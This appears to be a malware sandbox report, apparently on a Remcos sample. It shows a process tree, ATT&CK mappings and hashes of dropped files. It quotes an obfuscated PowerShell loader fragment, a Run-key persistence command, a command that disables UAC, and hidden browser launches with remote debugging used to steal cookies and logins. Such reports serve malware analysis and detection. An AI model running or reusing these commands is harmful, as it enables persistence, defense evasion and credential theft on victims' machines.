PoceBrass.met=Unds$ResuF.ommlBugsoBefotPerstBorteSport') ;Stberier $Tvangsfodrer;Stberier (Udkobles 'I.exSP astIndkAAu trNo atTils-ImpespolyLGallE O,teGastp pec cutu4');Stberier (Udkobles 'Impa$Fra gEv rlBowloLameBBegra Pe,Lt.dr:AssuF UniO entRPokimFiffeDaglRInveiScarnSubag KonERestROpb nMinaEmiscsKomm= man(OmprT roeForuSMicrTMeta-PrivpWhe,AFejlTPlouHH,xa Dil$EkspPDra.hSa.tEO spNI tra A.cZ H,iO Ildn,inuE I.f)') ;Stberier (Udkobles 'Gele$S atgMultlLok o,eboBCoscABalllAs.r: ataCN drLDelfIRsonnApneCFyreHp sti .isnMo.sGp.ea= Jor$ Pi.gRegeLAtelOBo,ib SotaRec LSlng:MajveFlers BirT BonhBorgEFulltSickOBastl konoKusig Tr.yoeso+ Fly+Deip% Sor$ CruGHaemuG,anDBredE,ivsBResuIforeLBek LMangeunskD SatESa eRS.ee. TutCSextoGrunuMadan noT') ;$graylags=$Gudebilleder[$Clinching]}$Sanseligheden=295843;$Ensilerendes=29834;Stberier (Udkobles 'Ufor$Zyg g M nl Rago KloBFilmAUskalKlud:GeraTMiljrExtrigaf CDi cHSelsIIndsnB llO ,ynSVaabeOutfDM,sa app=Sple Plu g.atee MtntMinu-C laCAntioCongNMgteTEfteESkrmnPar tTilb Tveb$UnfoPUnp hEstreHjl NreadaVeneZ .tno SunN isbe');Stberier (Udkobles 'Live$ U.sg En l BeroGimmb St a heelForr:CabbADextdGreevFustePaasr PrebGe,tiAlgeeForgr embnterreMac s P,p prot= St, Enda[ erS UdfyEjlas nomt FraeFodem,phr.P.enCSyncoTalenMadrv An,eMinir IditProb]Stea:Selv:kfteF OxarLi eo,ammmlugtB,ruiaAutosFraseHavb6Mot 4T anS.rohtGodsrSeg iInfanSimpgTi.i(T ri$BeewTDomsrA.aniThrocmoorhNoneiUn,enKa poHerhs FaceU dedReve)');Stberier (Udkobles 'Peni$AltaG BrolAnhnoHam B amfaForsL Com: ittpBadeEMe cC iniTTidsiSatis PilE lvssRegn1In.r4Tilk0 Lyd A,lv=Mic ius[Sop,Stri.yTrblsTeleTDuraEAdmimPycn.Su,ttDevieIndsXInset,iph.Eve,E InsnDesiCTolvOU dedHyali PavNOv,rG em]Ef e:Balu: MelA TauSUn.iCAfstiAggrIPsor.MarkG Mi e isttNympsSt rTconcrTilrIBrusN Or G Spi(lubr$EvenAK ydDRoomvSprjESil rJingBSysti Be.e eksRPersNLempe NorsDybd)');Stberier (Udkobles 'K ll$BiligAguiLSarkoKon,bSwieA Tytl L,g:ChapPKanoaGrn RDiptTNonbsGeophEy.fR taiCatmNBrusgCataSBo sr AveE.rikGO.kneMoselshire.imen Ted= Ihv$A.rrpReineUd.tcEnigtBi diminiSKu sERea SHemi1Spur4Ones0Sej..ExplSDarnU St.B A ssR erT iscRBud,ISh rN M sgAns,(Fnok$SgelSNavnaBersNAnacsKaskeP rsLbuckI.iscGSkidHKonje dgiDEssieUnfunCrue,Y.ru$ki,deScepn LacS NseiUndeLflageTilfrUrgeERygrNBes DRu eeminisKare)');Stberier $Partshringsregelen;"
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5092
- C:\Windows\SysWOW64\msiexec.exe
  "C:\Windows\SysWOW64\msiexec.exe"
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of NtCreateThreadExHideFromDebugger
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1220
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Spillebulers150" /t REG_EXPAND_SZ /d "%Kinetogenesis% -windowstyle 1 $Nonunited=(gp -Path 'HKCU:\Software\Pelion\').tilmeldende;%Kinetogenesis% ($Nonunited)"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1448
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Spillebulers150" /t REG_EXPAND_SZ /d "%Kinetogenesis% -windowstyle 1 $Nonunited=(gp -Path 'HKCU:\Software\Pelion\').tilmeldende;%Kinetogenesis% ($Nonunited)"
      4⤵
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      Modifies registry key
      PID:5036
- - C:\Windows\SysWOW64\cmd.exe
    /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2968
  - - C:\Windows\SysWOW64\reg.exe
      C:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
      4⤵
      UAC bypass
      System Location Discovery: System Language Discovery
      Modifies registry key
      PID:1708
- - C:\Program Files\Google\Chrome\Application\Chrome.exe
    --user-data-dir=C:\Users\Admin\AppData\Local\Temp\TmpUserData --window-position=-2400,-2400 --remote-debugging-port=9222 --profile-directory="Default"
    3⤵
    - Uses browser remote debugging
    - Enumerates system info in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:4932
  - - C:\Program Files\Google\Chrome\Application\Chrome.exe
      "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\TmpUserData /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\TmpUserData\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\TmpUserData --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffc8adfcc40,0x7ffc8adfcc4c,0x7ffc8adfcc58
      4⤵
      PID:3896
  - - C:\Program Files\Google\Chrome\Application\Chrome.exe
      "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1956,i,1417207458054267594,10211335110824012469,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=1952 /prefetch:2
      4⤵
      PID:4328
  - - C:\Program Files\Google\Chrome\Application\Chrome.exe
      "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=1944,i,1417207458054267594,10211335110824012469,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2476 /prefetch:3
      4⤵
      PID:4484
  - - C:\Program Files\Google\Chrome\Application\Chrome.exe
      "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2128,i,1417207458054267594,10211335110824012469,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2580 /prefetch:8
      4⤵
      PID:3852
  - - C:\Program Files\Google\Chrome\Application\Chrome.exe
      "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9222 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3120,i,1417207458054267594,10211335110824012469,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3140 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:3632
  - - C:\Program Files\Google\Chrome\Application\Chrome.exe
      "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9222 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3128,i,1417207458054267594,10211335110824012469,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3184 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:684
  - - C:\Program Files\Google\Chrome\Application\Chrome.exe
      "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9222 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4612,i,1417207458054267594,10211335110824012469,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3132 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:3260
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\zdqgemdpcythwwnucxzwf"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:3172
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\kgvzxeorqglmzlbyliuxicrwo"
    3⤵
    - Accesses Microsoft Outlook accounts
    - System Location Discovery: System Language Discovery
    PID:528
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\uabkxxzldodzjrxcctgztplfxzkq"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3936
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    --user-data-dir=C:\Users\Admin\AppData\Local\Temp\TmpUserData --window-position=-2400,-2400 --remote-debugging-port=9222 --profile-directory="Default"
    3⤵
    - Uses browser remote debugging
    - Enumerates system info in registry
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    PID:3048
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\TmpUserData /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\TmpUserData\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\TmpUserData --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x104,0x108,0x10c,0xe0,0x110,0x7ffc8acb46f8,0x7ffc8acb4708,0x7ffc8acb4718
      4⤵
      PID:4308
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2104,14835527985043239337,9832057382308162649,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2120 /prefetch:2
      4⤵
      PID:3168
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2104,14835527985043239337,9832057382308162649,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2192 /prefetch:3
      4⤵
      PID:5060
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2104,14835527985043239337,9832057382308162649,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2800 /prefetch:8
      4⤵
      PID:220
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9222 --field-trial-handle=2104,14835527985043239337,9832057382308162649,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3368 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:4956
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9222 --field-trial-handle=2104,14835527985043239337,9832057382308162649,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3376 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:2796
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9222 --field-trial-handle=2104,14835527985043239337,9832057382308162649,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5432 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:2408
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9222 --field-trial-handle=2104,14835527985043239337,9832057382308162649,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5404 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:528

C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
1⤵
PID:4848

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4464

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1636

C:\Windows\system32\BackgroundTaskHost.exe
"C:\Windows\system32\BackgroundTaskHost.exe" -ServerName:BackgroundTaskHost.WebAccountProvider
1⤵
PID:4328

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Modify Authentication Process

T1556

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Authentication Process

T1556

Modify Registry

T1112

Credential Access

Modify Authentication Process

T1556

Steal Web Session Cookie

T1539

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\remcos\logs.dat

Filesize
144B

MD5
4521f69497d57552e459b3be39176a41

SHA1
d70c48f9955a18ab7c8213ecdf89ca4851b36e73

SHA256
7c4cae22405e04aeb9d5547eddeefceb88f754a8fe7df9819f48191770f59606

SHA512
37cce0f6d28b2a7d58559499e54988d97a7f00df35ae51aaf9333d5dd7e17a42c71c537b5329e859d8d2e9bf4f2eaa09a0c98df4823d0b1a5805357efb397dcb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
d4ff23c124ae23955d34ae2a7306099a

SHA1
b814e3331a09a27acfcd114d0c8fcb07957940a3

SHA256
1de6cfd5e02c052e3475d33793b6a150b2dd6eebbf0aa3e4c8e4e2394a240a87

SHA512
f447a6042714ae99571014af14bca9d87ede59af68a0fa1d880019e9f1aa41af8cbf9c08b0fea2ccb7caa48165a75825187996ea6939ee8370afa33c9f809e79

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Crashpad\settings.dat

Filesize
40B

MD5
2b5566a53c22ecccb032ea705656c38c

SHA1
677e4c1173440694a3280968c2f95232d5de266a

SHA256
2995f2c20d49378c42fd23735e33808b2a3a12f9261cb45cde7dbee0bf2e373a

SHA512
2e62c67b0a73f3d9921cdcad7702a4ec1bf7b74c4ac07984a48c4c0b0e39429b459e4685679e67e40a06fbda18acd195ba5f185154905b71fd756bb178f50551

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Crashpad\settings.dat

Filesize
152B

MD5
bb64b1b6bd8178eee96ac51672a4b146

SHA1
3cab7abba5a4fedfcde9ba3ad3c33b09fff08f63

SHA256
4f63c0bf9bed98dc5f7ec7749cc38cd532e83483634a6b8647ca7d55fb3c9372

SHA512
01874af2a954328b07a803145df6f9860dd50426f0d70da92b09f6b11d06cc264421615436ffdd0d12fc32a9eaab5d731ae40bdad30b915a846a7ba09a2e2a83

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Crashpad\settings.dat

Filesize
152B

MD5
bc1cefc77b280a8818a5dde49900acab

SHA1
31ce2742d4dc07481a8d2f757aa04e51fc14594b

SHA256
65431e16ebbc522e2a003e8000ad11fee9cd05c4975c7eb04eadf44124c4e98d

SHA512
f1b00254258bdc80836a109d40a1b9f9e750a421c7481d012a12574b25220b12299f79b5e5141f4b070bd27fd931e56916b9f782fbf6e408c3490c78cbece13c

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Crashpad\settings.dat

Filesize
152B

MD5
b12fb01876b93edd9be74f58c90cabc4

SHA1
415f163fcde1e345e36b8c164419c401e15ce6ba

SHA256
99d227bec747f2bedb74fe591ae83a4b72cbe7909dafb519d3d6c0c62694552b

SHA512
36dba2c5991ce86df43b8a3ad3b19dd59f8e029b867ce01bd5c367fc19c283f20233d57481789f8151642034cd1bac85ccd02f00c475c5063ad58a9eacfd821b

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Crashpad\throttle_store.dat

Filesize
20B

MD5
9e4e94633b73f4a7680240a0ffd6cd2c

SHA1
e68e02453ce22736169a56fdb59043d33668368f

SHA256
41c91a9c93d76295746a149dce7ebb3b9ee2cb551d84365fff108e59a61cc304

SHA512
193011a756b2368956c71a9a3ae8bc9537d99f52218f124b2e64545eeb5227861d372639052b74d0dd956cb33ca72a9107e069f1ef332b9645044849d14af337

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Code Cache\js\index-dir\the-real-index

Filesize
48B

MD5
72d8b8d6427a6574e8ceb9e11ba7c96e

SHA1
94d298e9c5ba1bb87657eba36053a5664d3ec614

SHA256
96ff529daa88871f41f55d09f07e9feb91e7056947070c4907ffca486fc08c0a

SHA512
015bab661e16a6ca9e4c27508d333e5640e8d8d150d4d21fb5db61ed06565640eb630233beb16736dd77d4a1fd58b6b3e437bca97b18c7f4952c1449c3a7dcf6

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Code Cache\wasm\index

Filesize
24B

MD5
54cb446f628b2ea4a5bce5769910512e

SHA1
c27ca848427fe87f5cf4d0e0e3cd57151b0d820d

SHA256
fbcfe23a2ecb82b7100c50811691dde0a33aa3da8d176be9882a9db485dc0f2d

SHA512
8f6ed2e91aed9bd415789b1dbe591e7eab29f3f1b48fdfa5e864d7bf4ae554acc5d82b4097a770dabc228523253623e4296c5023cf48252e1b94382c43123cb0

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Extension State\LOG

Filesize
263B

MD5
f518ac4a50d666760ba0314b6fc7b580

SHA1
70589f7f88f31010d6ae1d72e71ea43a1999a5d5

SHA256
76efd3e76aa4e8890b0118a1d277e0aa356acd2255603c818d004d7781f5861c

SHA512
d7d02a85f3310c4e2a718cd1d6ee2da9a4ec896b453140d16e2be89894b0ee33c18e25a283fca678243ebc1454ccfccf0fc4e559eae27e82540c4124a2ed7baf

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Favicons

Filesize
20KB

MD5
b40e1be3d7543b6678720c3aeaf3dec3

SHA1
7758593d371b07423ba7cb84f99ebe3416624f56

SHA256
2db221a44885c046a4b116717721b688f9a026c4cae3a17cf61ba9bef3ad97f4

SHA512
fb0664c1c83043f7c41fd0f1cc0714d81ecd71a07041233fb16fefeb25a3e182a77ac8af9910eff81716b1cceee8a7ee84158a564143b0e0d99e00923106cc16

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\GPUCache\index

Filesize
256KB

MD5
922ade4c9e6c2f961f1b3e3e13a34a27

SHA1
9c00108503647914040671b97958ff4b29ce1893

SHA256
2ec462542c8c75ad1c5cf05c304ec92a5c1d95af2465dd07d4e2e54af1feae70

SHA512
6c60d7f136f10e10f35f864b6c8ad09c570dc787f5f6b8823a39f189225744ad85974f8c4097d77058efd4a52ab8ff3db3464d5f17c6eacb9c325f67d16a0055

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\History

Filesize
192KB

MD5
d30bfa66491904286f1907f46212dd72

SHA1
9f56e96a6da2294512897ea2ea76953a70012564

SHA256
25bee9c6613b6a2190272775a33471a3280bd9246c386b72d872dc6d6dd90907

SHA512
44115f5aaf16bd3c8767bfb5610eba1986369f2e91d887d20a9631807c58843434519a12c9fd23af38c6adfed4dbf8122258279109968b37174a001320839237

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Local Storage\leveldb\LOG

Filesize
275B

MD5
c84d50a898b9dd77222bfc52e6cae2c9

SHA1
cfded5fbf2c43f970953b799c4a40c850e1c023f

SHA256
a94fc6e0a73205c64d1f534064ff7850c1681d53b4eef410d34aceb670ef6fa5

SHA512
88df0a513c327c181d316b98fedbb88bece999f104331974e8af656d34fd8dcff208bbbdcda2568e34ec90237a80ec8b6dbc474b9a3904f60074334069259ad4

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Local Storage\leveldb\MANIFEST-000001

Filesize
41B

MD5
5af87dfd673ba2115e2fcf5cfdb727ab

SHA1
d5b5bbf396dc291274584ef71f444f420b6056f1

SHA256
f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4

SHA512
de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Login Data

Filesize
40KB

MD5
a182561a527f929489bf4b8f74f65cd7

SHA1
8cd6866594759711ea1836e86a5b7ca64ee8911f

SHA256
42aad7886965428a941508b776a666a4450eb658cb90e80fae1e7457fc71f914

SHA512
9bc3bf5a82f6f057e873adebd5b7a4c64adef966537ab9c565fe7c4bb3582e2e485ff993d5ab8a6002363231958fabd0933b48811371b8c155eaa74592b66558

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Microsoft Edge.lnk

Filesize
1KB

MD5
6b03adb5f75b953d91aa2f4d6e3a5483

SHA1
75132fff203a8cdca2255bfbdc7220b3fcbbedec

SHA256
a097aed2274f5cc76cb03f6a5a056ccdfc0626e451c7bafc6a9e5ebaef6ada93

SHA512
5478638afb998f19141dea66312e4c6d2f10668945014c8131c5cfa3299b67eeecd3f1dfada42f7264803f293cc3867c734294ac263d260e27deead7b4163dad

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Network\Cookies

Filesize
20KB

MD5
fb6d023b48edbd87e077f6691a5ba099

SHA1
1feaca5b617d8f0b0eeae32de881fb180dc7cd30

SHA256
98a65988b17b3dfaea7de5508719f3513c7e0bb0ca7b81d351fde4b5f13e859e

SHA512
1fe2483e83ad116335a6cfcaaba10f454100b5547c179f8fd1a7d246497ca2e37e6005755f85a34d5998f9c1ebe15eb8dffa2405da85695a4f9d57f2e44e9d21

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Network\SCT Auditing Pending Reports

Filesize
2B

MD5
d751713988987e9331980363e24189ce

SHA1
97d170e1550eee4afc0af065b78cda302a97674c

SHA256
4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945

SHA512
b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Preferences

Filesize
1KB

MD5
5386b112fa0b22a45f72028ce295ee8b

SHA1
d3d2e5eed63f1a936bef8f91fd5cd7d428d97152

SHA256
292c54382483f19e3d6b68359299d9fb2a328d4545085dd1d0fe01fddb48eeba

SHA512
3f1fb663e1e7c04dc417f0c65db6de30acc3706f1a45c640fde8e64978db7a0229ed624f07914b6e25ced7a5a44145243036c4949a5f367e66969bf70d909819

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Preferences

Filesize
5KB

MD5
0753842b3f198eaaffe9a6457434ccaf

SHA1
61c814a8b1b3b6a4f266ab3ed9be859268809889

SHA256
f1724ca636502facb781d96205a9309cb70758c633305d0138184a4ce5327d81

SHA512
9b62cd99d4468a548fb5b671d950c70073db0963d06ee4d09f3fcd5f3f56d28ee165b6a7bd3508614a113590968c996a341fbe31bdf388243a020f88e7862f27

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Secure Preferences

Filesize
24KB

MD5
fb9b644175d9cb9412afa02e5162aa36

SHA1
549e99099f845f414e650dc71c41a2165b29f64a

SHA256
ef5bacdc32263d63240194ea3cdf60c69dffb9544e0d59730d35fcf5d89fd6d8

SHA512
b021b24fac3cba795ea5165108a79853a9f2b1c3ba78359c4f251e3b1953fc6b1ab753658c2bc8d11dfcb2dd5b696d89240e8c99fd41a5146615c8553f8905f2

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Secure Preferences

Filesize
15KB

MD5
e2f6740589a4b570eae3bde32ad6e60e

SHA1
f480cb3fe10ff7338916edbea9ed63bd01175122

SHA256
56cf9ec20fd3892b742bf6518f974734d753e9fd5157b33199d8b82c8a09c318

SHA512
4148c0ab36f82aa31d3343eeae7c16e7c66b948aa0124efa207b76ae067b33c8b4495faa25f6f2241408bc400f45e86b3c33ec0d2c5323065b320747565ac42e

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Service Worker\Database\000003.log

Filesize
241B

MD5
9082ba76dad3cf4f527b8bb631ef4bb2

SHA1
4ab9c4a48c186b029d5f8ad4c3f53985499c21b0

SHA256
bff851dedf8fc3ce1f59e7bcd3a39f9e23944bc7e85592a94131e20fd9902ddd

SHA512
621e39d497dece3f3ddf280e23d4d42e4be8518e723ecb82b48f8d315fc8a0b780abe6c7051c512d7959a1f1def3b10b5ed229d1a296443a584de6329275eb40

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Service Worker\Database\LOG

Filesize
281B

MD5
ee0ec6093971898b4f7371919d46a4eb

SHA1
493525bebd070c94def46d883137047e97e80293

SHA256
5f3c95c0a614de2f13d32f50e65a7dda693230fe5b2b45115eb796c4a58e35f3

SHA512
10df9eb3eb0462ffff8a94370e5f665bbf5f3da7c190780562ba061ae3e30404572ca453aae05a385b8c3b4afb08efa29160400078c90725e8c9def56b98370e

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Session Storage\000003.log

Filesize
80B

MD5
69449520fd9c139c534e2970342c6bd8

SHA1
230fe369a09def748f8cc23ad70fd19ed8d1b885

SHA256
3f2e9648dfdb2ddb8e9d607e8802fef05afa447e17733dd3fd6d933e7ca49277

SHA512
ea34c39aea13b281a6067de20ad0cda84135e70c97db3cdd59e25e6536b19f7781e5fc0ca4a11c3618d43fc3bd3fbc120dd5c1c47821a248b8ad351f9f4e6367

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Session Storage\LOG

Filesize
263B

MD5
